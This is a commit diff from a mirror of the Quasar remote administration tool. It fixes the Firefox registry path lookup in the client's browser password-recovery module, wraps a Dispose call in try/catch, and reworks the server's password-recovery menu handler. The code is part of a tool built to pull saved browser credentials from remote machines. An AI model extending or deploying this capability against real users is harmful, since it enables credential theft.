mirror of https://github.com/quasar/Quasar.git
commit
d747a3be2d
|
@ -202,8 +202,11 @@ namespace xClient.Core.Recovery.Browsers
|
|||
private static DirectoryInfo GetFirefoxInstallPath()
|
||||
{
|
||||
// get firefox path from registry
|
||||
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox"))
|
||||
using (RegistryKey key = PlatformHelper.Architecture == 64 ?
|
||||
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") :
|
||||
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Mozilla\Mozilla Firefox"))
|
||||
{
|
||||
if (key == null) return null;
|
||||
|
||||
|
|
|
@ -32,7 +32,11 @@ namespace xServer.Core.Compression
|
|||
{
|
||||
if (_encoderParams != null)
|
||||
{
|
||||
_encoderParams.Dispose();
|
||||
try
|
||||
{
|
||||
_encoderParams.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -591,8 +591,14 @@ namespace xServer.Forms
|
|||
|
||||
private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (lstClients.SelectedItems.Count != 0)
|
||||
foreach (Client c in GetSelectedClients())
|
||||
{
|
||||
if (c.Value.FrmPass != null)
|
||||
{
|
||||
c.Value.FrmPass.Focus();
|
||||
return;
|
||||
}
|
||||
|
||||
FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients());
|
||||
frmPass.Show();
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue